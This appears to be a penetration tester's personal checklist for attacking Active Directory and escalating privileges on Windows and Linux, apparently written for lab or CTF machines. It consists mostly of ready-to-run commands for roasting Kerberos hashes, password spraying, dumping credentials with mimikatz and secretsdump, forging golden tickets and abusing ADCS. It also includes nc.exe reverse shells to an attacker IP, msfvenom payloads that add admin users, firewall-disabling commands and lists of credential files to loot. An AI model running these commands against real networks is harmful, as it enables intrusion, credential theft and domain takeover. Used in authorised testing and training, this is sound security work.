Pre-Auth Active Directory Checklist#

0. Fix the Following:

   1. time with: timeskewfix tool. Command: sudo Time_Skew_Fix.sh <DC_IP>
   2. (Optional) Generate a krb5 file (system config) with nxc: nxc smb pirate.htb -u 'pentest' -p 'p3nt3st2025!&' --generate-krb5-file ./krb5 then export to current terminal session: export KRB5_CONFIG=./krb5.
      1. Check with: nxc smb <domain> -u user -p pass -k
   3. To export a ticket (credentials/tickets): export KRB5CCNAME=./ticket.ccache

1. Network & DC Identification Goal: Find the Domain Controller (DC) and the Domain Name.

• Identify the DC IP & Domain Name 🚨

  • Method 1 (Passive/Standard): nmcli dev show or systemd-resolve --status (Look for DNS servers).
  • Method 2 (Nmap): nmap -p 53,88,389 -sV --open <IP/CIDR> (Open Port 88 = DC).
  • Method 3 (Netexec): netexec smb <IP/CIDR> (Look for signing:True and domain: in output).

• Verify Clock Skew ℹ️

  • Why? Kerberos fails if your time is off by >5 mins.
  • Tool: netexec smb <DC-IP> (Check output for time).
  • Action: sudo ntpdate <DC-IP> if skewed.

2. SMB Enumeration (Port 445)

Goal: Find open shares, sensitive files, or valid user lists without a password.

• Check for Null / Guest Sessions 🍎 🚨

  • Description: Can I list shares without a username/password?

  • Tool Choice A (Netexec - Fast): netexec smb <DC-IP> -u '' -p '' --shares

  • Tool Choice B (Netexec - Guest): netexec smb <DC-IP> -u 'guest' -p '' --shares

  • Tool Choice C (Smbclient - Manual): smbclient -N -L //<DC-IP>

  • Tool Choice D (Enum4Linux-ng - Thorough): enum4linux-ng -A <DC-IP>

• Analyze Shares (If Null Session Works) 🍎

  • Action: Look for IPC$ (RPC enum), SYSVOL (Group Policy), or custom shares (Backups/HR).

  • Tool: smbclient //<DC-IP>/<ShareName> -N

• Check for SMB Signing ℹ️

  • Why? If “Signing: False” on a target, you can relay NTLM hashes to it (getting a shell without knowing the password).

  • Tool: netexec smb <CIDR> --gen-relay-list targets.txt

• Check for RID-bruteforce.

• Spidering for Sensitive Files (Appended) 🚨

  • Description: Automatically search accessible shares for files containing passwords.
  • Tool (Netexec): netexec smb <DC-IP> -u '' -p '' -M spider_plus

3. LDAP Enumeration (Port 389 / 636)

Goal: Query the directory database directly to dump users and groups.

• Check for Anonymous Bind 🍎 🚨

  • Description: The AD allows queries without authentication. This is the Holy Grail of external enum.

  • Tool Choice A (Ldapsearch): ldapsearch -x -H ldap://<DC-IP> -b "DC=<DOMAIN>,DC=<TLD>"

  • Tool Choice B (Windapsearch): ./windapsearch.py -U --dc-ip <DC-IP>

  • Tool Choice C (Nmap): nmap -n -sV --script "ldap* and not brute" -p 389 <DC-IP>

• Dump Users (If Anon Bind Works) 🚨

  • Tool: ldapsearch -x -H ldap://<DC-IP> -b "DC=<DOMAIN>,DC=<TLD>" "(objectClass=user)" sAMAccountName | grep sAMAccountName

• Check for LDAP Null Base DN ℹ️

  • Tool: ldapsearch -x -H ldap://<DC-IP> -s base namingcontexts (Reveals the internal domain name if you don’t know it).

• Check for SID-Enumeration:

• Extract LDAP Descriptions (Appended) ℹ️
  • Description: Descriptions often contain passwords or sensitive internal details.
  • Tool: netexec ldap <DC-IP> -u '' -p '' --users

4. RPC Enumeration (Port 135 / Dynamic Ports)

Goal: Use Remote Procedure Calls to enumerate users via RID Cycling.

• Null Session RPC Connection 🍎

  • Description: Connect to the IPC$ share and ask the DC for a list of users.

  • Tool Choice A (Rpcclient): rpcclient -U "" -N <DC-IP>

    • Command inside shell: enumdomusers
    • Command inside shell: enumdomgroups

  • Tool Choice B (Impacket): impacket-rpcdump <DC-IP> (Shows reachable RPC interfaces).

• RID Cycling (User Enum without a User List) 🚨

  • Description: Brute-force user IDs (500, 501, 1000, 1001…) to reveal usernames. Works great if Null Session is blocked but Guest is enabled.

  • Tool Choice A (Netexec): netexec smb <DC-IP> -u 'guest' -p '' --rid-brute

  • Tool Choice B (Lookupsid): impacket-lookupsid anonymous@<DC-IP>

5. Kerberos Enumeration (Port 88)

Goal: Verify usernames and attack users who have “Do Not Require Pre-Auth” enabled.

• User Enumeration (Kerbrute) ℹ️

  • Description: Test a wordlist of usernames (e.g., jsmith, admin, svc_backup) against Kerberos. It tells you if the user exists without locking the account.

  • Tool: ./kerbrute userenum --dc <DC-IP> -d <DOMAIN> names.txt

• AS-REP Roasting (No Credentials Needed) 🍎 🚨

  • Description: If you found a VALID user list (via RPC/SMB/Kerbrute), check if any user has “Pre-Auth Disabled.” You get their hash immediately.

  • Tool Choice A (Impacket): impacket-GetNPUsers <DOMAIN>/ -usersfile users.txt -format hashcat -outputfile hashes.asreproast

  • Tool Choice B (Kerbrute): ./kerbrute passwordspray -d <domain> users.txt "Password123!"

    • (Risky - locks accounts).
    • so first check for policy with:

1
nxc smb <IP> -u '' -p '' --pass-pol

IF WINDOWS HOST, USE: ./Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

6. DNS Enumeration (Port 53)

Goal: Find hidden servers (dev, backup, intranet) that might be easier targets.

• Zone Transfer (AXFR) 🍎

  • Description: Ask the DNS server for a copy of the entire list of computers.

  • Tool Choice A (Dig): dig axfr @<DC-IP> <DOMAIN>

  • Tool Choice B (Fierce): fierce --domain <DOMAIN> --dns-servers <DC-IP>

• Reverse Lookup Sweep ℹ️

  • Description: Map IP addresses to hostnames to find targets.

  • Tool: dnsrecon -r 192.168.10.0/24 -n <DC-IP>

7. Poisoning / Man-in-the-Middle (Layer 2)

Goal: Steal a hash from a machine trying to connect to a file share.

• LLMNR/NBT-NS Poisoning 🍎 🚨

  • Requirement: You must be in the same local subnet (broadcast domain) as the victims.

  • Description: Listen for machines asking “Where is Printer-X?” and say “I am Printer-X, send me your credentials.”

  • Tool: sudo responder -I <Interface> -dw

  • Action: Wait for hashes to appear on screen.

8. Password Spraying (The “Hail Mary”)

Goal: Test ONE likely password against ALL users.

• Safe Password Spray 🚨

  • Requirement: You must have a valid list of usernames (from Step 4 or 5).

  • Warning: Do NOT brute force (try many passwords for one user). Spray (try one password for many users).

  • Passwords to try: Summer2025!, Password123, Welcome1, <CompanyName>2025.

  • Tool: netexec smb <DC-IP> -u users.txt -p 'Summer2025!' --continue-on-success

9. MSSQL Enumeration (Port 1433) (Appended)

Goal: Identify poorly secured database instances linked to AD.

• Check for Default Credentials / Blank Passwords 🍎

  • Tool: netexec mssql <IP/CIDR> -u 'sa' -p ''

• Check Authentication Mode ℹ️

  • Description: Windows Authentication uses AD creds. SQL Authentication uses local DB creds.

  • Tool: nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-ntlm-info <IP>

BLOODHOUND-ING#

• Use 2 bloodhounds:

  • Rusthound-ce : rusthound-ce -d domain.com -i <dc_IP> -u user -p 'pass' --zip -c All
  • Bloodhound-ce-python : bloodhound-ce-python -c all -d domain.com -u user -p 'pass' --zip -ns 10.10.11.72. -ns is not mandatory.

• Ingest both data in bloodhound-ce.

BASIC INTERACTION#

• If based on our enumeration we found some sort of userlist
  • Make a list with these with different naming conventions
  • Validate these users with kerbrute.
    • If the users are valid
      • ASEPROAST
      • Make a passlist with how we usually do
        • use cewl if there is a webserver
        • user
        • user
        • user:”
        • user
        • Try different word other than PASSWORD, e.g: pass, passwd, pwd, user, usr, username, secret, cred, credential, auth, secret)
      • Validate these creds with netexec
        • ldap
        • smb
          • If we get pwned!
            • psexec
        • winrm / psexec / smbexec
          • However Rerun all enumeration from before if we find these are valid
      • Kerberoast/As-rep Roast
        • GAIN FOOTHOLD (Shell Access)
        • SMB Share Deep Dive (Snaffler) (Appended)
          • Execute Snaffler.exe on Windows or netexec smb <DC-IP> -u user -p pass -M spider_plus to automatically find passwords in files.
        • LOCAL PRIVILEGE ESCALATION
          • Check whoami /priv (Look for SeImpersonate, SeBackup)
          • Check whoami /groups (Look for LAPS readers, Docker Users, etc.)
          • Run WinPEAS.exe / PrivescCheck.ps1
          • Check for “AlwaysInstallElevated” or Unquoted Service Paths
          • Exploit SeImpersonate (Appended): Use GodPotato.exe -cmd "cmd.exe /c whoami" or PrintSpoofer.exe -i -c cmd
          • Goal: Elevate from User -> SYSTEM / Administrator
• BloodHound / Sharphound (Run this after you have a foothold if possible, or remotely if not)
• Lateral Movement / Dump Creds (Requires the Admin access gained in the previous step)
• BloodHound / Sharphound
• Run BloodHound Python ingestor from Kali (if valid creds): bloodhound-python -u 'USER' -p 'PASS' -ns IP -d DOMAIN -c All
• Upload SharpHound.exe and run SharpHound.exe -c All
• Analyze for:
  • AS-REP Roasting (DontRequirePreAuth)
  • Kerberoasting
  • DCSync rights
  • Constrained/Unconstrained Delegation
  • GenericAll / ForceChangePassword on other objects
• Lateral Movement / Dump Creds
• Secretsdump (DCSync): impacket-secretsdump domain/user:pass@IP
• Mimikatz (On Windows):
  • privilege::debug
  • sekurlsa::logonpasswords
  • lsadump::lsa /patch
• Token Impersonation (Incognito) via Metasploit or native tools.
• Coercion
• PetitPotam (Force authentication to our listener/responder)
• PrinterBug
• Extract LAPS Passwords (Appended)
  • Use netexec smb <IP> -u user -p pass -M laps

Password Reusage

Spraying

Same principle as other things discussed, we make a list out of everything we see and every username, name, version is valuable to us.

AFTER GETTING A SHELL#

1. Domain Situational Awareness

• Am I in a domain?

  • systeminfo | findstr /B /C:"Domain"
  • check [[1. QUICK CHECKS]]
  • net config workstation (Look for “Workstation domain”)
  • echo %USERDNSDOMAIN%
  • echo %LOGONSERVER% (Identifies the DC usually)

• Who am I?

  • whoami /all (Check Group memberships like “Domain Admins” or specific groups)
  • net user /domain %username%

• Where is the DC?

  • nltest /dclist:<DomainName>
  • nslookup <DomainName>
  • net group "Domain Controllers" /domain

2. Domain Enumeration (Internal)

• Upload Tools (If possible, otherwise use Living off the Land)

  • SharpHound.exe (BloodHound Collector) - PRIORITY #1
  • PowerView.ps1
  • ADSearch.exe
  • Ligolo-ng / Chisel (For pivoting)

• Users & Groups

  • net user /domain (List all users)
  • net group /domain (List all groups)
  • net group "Domain Admins" /domain (Who are the targets?)
  • net localgroup Administrators /domain (Who can access this box?)

• PowerView / SharpView Enumeration

  • Get-NetDomain
  • Get-NetUser
  • Get-NetComputer
  • Get-NetGroup
  • Get-NetGPO
  • Find-LocalAdminAccess (Crucial for lateral movement)
  • Get-NetSession -ComputerName <DC_IP> (Who is logged in where?)

3. Active Directory Attacks (Internal)

• AS-REP Roasting (From internal)

  • Rubeus: .\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast

• Try [[silver-ticket-attack]]

• Kerberoasting (From internal)

  • Rubeus: .\Rubeus.exe kerberoast /format:hashcat /outfile:hashes.kerberoast
  • PowerView: Get-NetUser -SPN

• Token Impersonation (If you are Admin/System)

  • Incognito (Metasploit)
  • Mimikatz: token::elevate then lsadump::sam

• Credential Dumping (If you are Admin/System)

  • Mimikatz: sekurlsa::logonpasswords
  • Mimikatz: lsadump::lsa /patch
  • Task Manager > Right Click LSASS > Create Dump File > Download to Kali > pypykatz lsa minidump lsass.dmp

• GPO Abuse

  • Check BloodHound for “GenericWrite”, “WriteDacl” on GPOs.
  • SharpGPOAbuse.exe

• ADCS (Certificates)

  • Certify.exe: .\Certify.exe find /vulnerable
  • Look for “ESC1”, “ESC8” (PetitPotam)

• ADCS Exploitation (Certipy / Impacket) (Appended)

  • ESC1 (Request Cert): certipy req -u <User>@<DOMAIN> -p <Pass> -ca <CA_NAME> -target <DC_IP> -template <Template> -upn administrator@<DOMAIN>
  • ESC8 (Relay): certipy relay -target <CA_IP> and trigger coercion via impacket-coercer or PetitPotam.
  • Auth with Cert: certipy auth -pfx administrator.pfx -dc-ip <DC_IP> (Outputs NTLM hash).

• Kerberos Tickets (Golden/Silver) (Appended)

  • Extract krbtgt hash via DCSync: impacket-secretsdump <DOMAIN>/<User>:<Pass>@<DC_IP> -just-dc-user krbtgt
  • Forge Golden Ticket: impacket-ticketer -nthash <krbtgt_hash> -domain-sid <SID> -domain <DOMAIN> Administrator

4. Lateral Movement (Pivoting)

• WinRM (If you have creds and port 5985 is open)
  • evil-winrm -i <TargetIP> -u <User> -p <Pass>
• SMB / PsExec (If you have Admin creds and port 445 is open)
  • impacket-psexec <Domain>/<User>:<Pass>@<TargetIP>
  • impacket-smbexec <Domain>/<User>:<Pass>@<TargetIP>
• WMI (Stealthier Alternative to PsExec) (Appended)
  • impacket-wmiexec <Domain>/<User>:<Pass>@<TargetIP>
• Pass-The-Hash (If you only have NTLM hash)
  • evil-winrm -i <TargetIP> -u <User> -H <Hash>
  • impacket-wmiexec -hashes 00000000000000000000000000000000:<Hash> <User>@<TargetIP>
• Overpass-The-Hash (Turn hash into Ticket)
  • Rubeus: asktgt /user:<User> /rc4:<Hash> /ptt
• Pass-The-Ticket (Appended)
  • Set environment variable (Linux): export KRB5CCNAME=ticket.ccache
  • Use ticket: impacket-psexec -k -no-pass <Domain>/<User>@<TargetMachine>
• SSH Tunneling
  • ssh -N -D 1080 user@pivot-machine (Dynamic Port Forward)
  • Update /etc/proxychains.conf

Windows#

• Enumerate current user and its permissions

• Check the privileges

  • SeImpersonate
  • SeLoadDriver
  • SeRestore
  • SeImpersonatePrivilege
  • SeAssignPrimaryPrivilege
  • SeTcbPrivilege
  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeCreateTokenPrivilege
  • SeLoadDriverPrivilege
  • SeTakeOwnershipPrivilege
  • SeDebugPrivilege
  • SeManageVolumePrivilege

• Transfer winpeas

• Transfer PowerUp

• Seatbelt

• Sherlock

• Rubeus

• SharpHound

• General users enum

1
whoami /all
2
net users %username%
3
net users
4
Get-WmiObject -Class Win32\_UserAccount
5
Get-LocalUser | ft Name,Enabled,LastLogon
6
Get-ChildItem C:\\Users -Force | select Name
7
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

• General groups enum

1
net localgroup
2
net localgroup Administrators

• Check if current user has these tokens:

1
SeImpersonatePrivilege
2
SeAssignPrimaryPrivilege
3
SeTcbPrivilege
4
SeBackupPrivilege
5
SeRestorePrivilege
6
SeCreateTokenPrivilege
7
SeLoadDriverPrivilege
8
SeTakeOwnershipPrivilege
9
SeDebugPrivilege
10
SeManageVolumePrivilege

1
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

1
wmic qfe

1
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%

1
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%

1
wmic logicaldisk get caption || fsutil fsinfo drives
2
wmic logicaldisk get caption,description,providername
3
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\\FileSystem"}| ft Name,Root

1
ipconfig /all
2
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
3
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

1
route print
2
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

1
arp -A
2
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

1
netstat -ano

1
netstat -bona

1
netsh advfirewall firewall dump
2
netsh firewall show state
3
netsh firewall show config

1
$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules |  where {$_.action -eq "0"} | select name,applicationname,localports

1
netsh advfirewall set allprofiles state off
2
netsh firewall set opmode disable

1
net share
2
powershell Find-DomainShare -ComputerDomain domain.local

1
reg query HKLM\\SYSTEM\\CurrentControlSet\\Services\\SNMP /s
2
Get-ChildItem -path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\SNMP -Recurse

1
powershell.exe Start-Process cmd.exe -Verb runAs

1
# check also with runas
2
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

1
dir /s /b /p *pass* == *cred* == *vnc* == *.config* == *conf* == *ini*
2
findstr /si /m password *.xml *.ini *.txt

1
cmdkey /list
2

3
# Look for "Target: Domain:interactive=[User]". This indicates a stored credential for that specific user.
4
# if found
5
runas /savecred /user:WORKGROUP\Administrator "\\attacker-ip\SHARE\welcome.exe"

1
reg query HKLM /f pass /t REG_SZ /s
2
reg query HKCU /f pass /t REG_SZ /s
3

4
reg query HKLM /f password /t REG_SZ /s
5
reg query HKCU /f password /t REG_SZ /s
6

7
# **Check for startup registries and for applications that are run on   # startup by any user on the computer** :
8
 `reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run`
9
 # curl can overwrite the file for a reverse shell.
10
# Same thing but runs once and then deletes itself:
11
 `reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce`
12
 Then :`reg add HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce /v revshell /t REG_SZ /d "<FILE PATH TO EXECUTE>" /f`
13

14
# Windows Autologin
15
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
16
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
17

18
# SNMP parameters
19
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
20

21
# Putty credentials
22
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
23
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
24

25
# VNC credentials
26
reg query "HKCU\Software\ORL\WinVNC3\Password"
27
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4" /v password
28

29
## OpenSSH credentials
30
reg query HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys

1
c:\sysprep.inf
2
c:\sysprep\sysprep.xml
3
%WINDIR%\Panther\Unattend\Unattend*.xml
4
%WINDIR%\Panther\Unattend*.xml

1
dir /s /b /p *access*.log* == *.log

1
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
2
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
3

4
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
5
C:\inetpub\wwwroot\web.config

1
dir c:*vnc.ini /s /b
2
dir c:*ultravnc.ini /s /b
3
%SYSTEMDRIVE%\pagefile.sys
4
%WINDIR%\debug\NetSetup.log
5
%WINDIR%\repair\sam
6
%WINDIR%\repair\system
7
%WINDIR%\repair\software, %WINDIR%\repair\security
8
%WINDIR%\iis6.log
9
%WINDIR%\system32\config\AppEvent.Evt
10
%WINDIR%\system32\config\SecEvent.Evt
11
%WINDIR%\system32\config\default.sav
12
%WINDIR%\system32\config\security.sav
13
%WINDIR%\system32\config\software.sav
14
%WINDIR%\system32\config\system.sav
15
%WINDIR%\system32\CCM\logs\*.log
16
%USERPROFILE%\ntuser.dat
17
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
18
%WINDIR%\System32\drivers\etc\hosts
19
C:\ProgramData\Configs\*
20
C:\Program Files\Windows PowerShell\*vnc.ini, ultravnc.ini, \*vnc\*
21
web.config
22
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
23
SiteList.xml #McAfee
24
ConsoleHost_history.txt #PS-History
25
*.gpg
26
*.pgp
27
*config*.php
28
elasticsearch.y*ml
29
kibana.y*ml
30
*.p12
31
*.der
32
*.csr
33
*.cer
34
known_hosts
35
id_rsa
36
id_dsa
37
*.ovpn
38
anaconda-ks.cfg
39
hostapd.conf
40
rsyncd.conf
41
cesi.conf
42
supervisord.conf
43
tomcat-users.xml
44
*.kdbx
45
KeePass.config
46
Ntds.dit
47
SAM
48
SYSTEM
49
FreeSSHDservice.ini
50
access.log
51
error.log
52
server.xml
53
setupinfo
54
setupinfo.bak
55
key3.db #Firefox
56
key4.db #Firefox
57
places.sqlite #Firefox
58
"Login Data" #Chrome
59
Cookies #Chrome
60
Bookmarks #Chrome
61
History #Chrome
62
TypedURLsTime #IE
63
TypedURLs #IE

1
# 1. Find AP SSID
2
netsh wlan show profile
3
# 2. Get cleartext password
4
netsh wlan show profile <SSID> key=clear
5
# OR
6
# Go hard and grab 'em all
7
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on

1
c:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite

1
# SessionGopher to grab PuTTY, WinSCP, FileZilla, SuperPuTTY, RDP
2
# https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1
3
Import-Module path\to\SessionGopher.ps1;
4
Invoke-SessionGopher -AllDomain -o
5
Invoke-SessionGopher -AllDomain -u domain.com\adm\-arvanaghi -p s3cr3tP@ss

1
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
2
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
3
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
4
cat (Get-PSReadlineOption).HistorySavePath
5
cat (Get-PSReadlineOption).HistorySavePath | sls passw

1
Get-Item -path <filename> -Stream *
2
Get-Content -path <filename> -Stream <keyword>

1
%SYSTEMROOT%\repair\SAM
2
%SYSTEMROOT%\System32\config\RegBack\SAM
3
%SYSTEMROOT%\System32\config\SAM
4
%SYSTEMROOT%\repair\system
5
%SYSTEMROOT%\System32\config\SYSTEM
6
%SYSTEMROOT%\System32\config\RegBack\system

1
# From user home
2
.aws\credentials
3
AppData\Roaming\gcloud\credentials.db
4
AppData\Roaming\gcloud\legacy_credentials
5
AppData\Roaming\gcloud\access_tokens.db
6
.azure\accessTokens.json
7
.azure\azureProfile.json

1
# Before Vista look inside
2
C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history
3
# After Vista look inside
4
C:\ProgramData\Microsoft\Group Policy\history
5
# Look for
6
Groups.xml
7
Services.xml
8
Scheduledtasks.xml
9
DataSources.xml
10
Printers.xml
11
Drives.xml
12

13
# Decrypt the passwords with
14
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

1
HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
2
HKCU\Software\Microsoft\Terminal Server Client\Servers\

1
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

1
# Check if the retrieved sotfwares are vulnerable to DLL Sideloading
2
# https://github.com/enjoiz/Privesc
3
$result = Get-WmiObject -Namespace "root\\ccm\\clientSDK" -Class CCM\_Application -Property * | select Name,SoftwareVersion
4
if ($result) { $result }
5
else { Write "Not Installed." }

1
# List of exploits kernel https://github.com/SecWiki/windows-kernel-exploits
2
# to cross compile a program from Kali
3
$ i586-mingw32msvc-gcc -o adduser.exe useradd.c

1
#DOS
2
tasklist /V | findstr /I "SYSTEM"
3

4
#powershell
5
# List all running services and their binary paths
6
wmic service where "state='running'" get name, displayname, pathname, startname | findstr /i "LocalSystem"

1
# using sc
2
sc qc <service_name>
3

4
# using accesschk.exe
5
accesschk.exe -ucqv <Service_Name>
6
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
7
accesschk.exe -uwcqv %USERNAME% * /accepteula
8
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
9
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
10

11
# using msf
12
exploit/windows/local/service_permissions

1
wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """
2

3
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\" |findstr /i /v ""
4

5
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32\" |findstr /i /v ""
6

7
#Not only auto services
8
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '*'} | select PathName,DisplayName,Name

1
# if the group "Authenticated users" has SERVICE_ALL_ACCESS
2
# it can modify the binary path
3
# bind shell
4
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
5

6
# reverse shell
7
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe <attacker-ip> 4444 -e cmd.exe"
8

9
# add user to local admin group
10
sc config <Service_Name> binpath= "net localgroup administrators username /add"
11

12
# example using SSDPRV
13
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
14

15
# then restart the service
16
wmic service NAMEOFSERVICE call startservice
17
net stop [service name] && net start [service name]

1
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
2
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
3

4
# do it by using sc
5
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
6
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
7
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

1
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
2
#Try to write every service with its current content (to check if you have write permissions)
3
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
4

5
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
6

7
# if Authenticated Users or NT AUTHORITY\INTERACTIVE have FullControl
8
# it can be leveraged to change the binary path inside the registry
9
reg add HKLM\SYSTEM\CurrentControlSet\srevices\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

1
dir /a "C:\Program Files"
2

3
dir /a "C:\Program Files (x86)"
4

5
reg query HKEY_LOCAL_MACHINE\SOFTWARE
6

7
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
8

9
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

1
# using accesschk.exe
2

3
accesschk.exe /accepteula
4

5
# Find all weak folder permissions per drive.
6

7
accesschk.exe -uwdqs Users c:
8

9
accesschk.exe -uwdqs "Authenticated Users" c:
10

11
accesschk.exe -uwdqs "Everyone" c:\
12

13
# Find all weak file permissions per drive.
14

15
accesschk.exe -uwqs Users c:*.*
16

17
accesschk.exe -uwqs "Authenticated Users" c:*.*
18

19
accesschk.exe -uwdqs "Everyone" c:*.*
20

21
# using icalcs
22

23
icacls "C:\Program Files*" 2>nul | findstr "(F) (M) :" | findstr ":\ everyone authenticated users todos %username%"
24

25
icacls ":\Program Files (x86)*" 2>nul | findstr "(F) (M) C:" | findstr ":\ everyone authenticated users todos %username%"
26

27
# using Powershell
28

29
Get-ChildItem 'C:\Program Files*','C:\Program Files (x86)*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
30

31
Get-ChildItem 'C:\Program Files*','C:\Program Files (x86)*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

1
# having write permissions inside a folder present ON PATH could bring to DLL hijacking
2
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

1
# if both are enabled (set to 0x1), it's possible to execute
2
# any .msi as NT AUTHORITY\SYSTEM
3
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
4
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
5

6
# check with msf
7
exploit/windows/local/always_install_elevated
8

9
# generate payload with msfvenom
10
# no uac format
11
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi
12
# using the msiexec the uac wont be prompted
13
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi
14

15
# install .msi
16
msiexec /quiet /qn /i C:\Users\Homer.NUCLEAR\Downloads\donuts.msi

1
# using schtasks
2
schtasks /query /fo LIST /v
3
# filtering the output
4
schtasks /query /fo LIST /v | findstr /v "\Microsoft"
5

6
# using powershell
7
Get-ScheduledTask | ft TaskName,TaskPath,State
8
# filtering the output
9
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
10

11
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | Select-Object TaskName, TaskPath, State, @{N='Action';E={$_.Actions.Execute}} | ft -AutoSize

1
wsl whoami
2
./ubuntum2004.exe config --default-user root
3
wsl whoami
4
wsl python -c 'put here your command'

Linux#

Principles to becoming root!

1. cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash
2. Adding a new user
3. Make the user run commands without needing password sudo -l

• Upgrade shell using socat, else python
• Are we in a dock container? If so this can be seen by doing an ls - [ ]la. See how to escape from the notes
• Run linpeas.sh
• Run SUDO Killer if we have full SSH creds
• Run SUID3Emum
• Go Thru the linpeas.sh output
• PwnKit? This is an easy win.
• enumerate users
• Look for other users
• Try to switch users and rerun enumeration
  • Try different word other than PASSWORD, e.g: pass, passwd, pwd, user, usr, username, secret, cred, credential, auth, secret)
• Enumerate groups
• Are these exploitable?
• lxd
• davfs
• sudo
• fail2ban Any accessible sensitive file?
• /etc/passwd
• /etc/shadow
• /etc/sudoers
• Configuration files
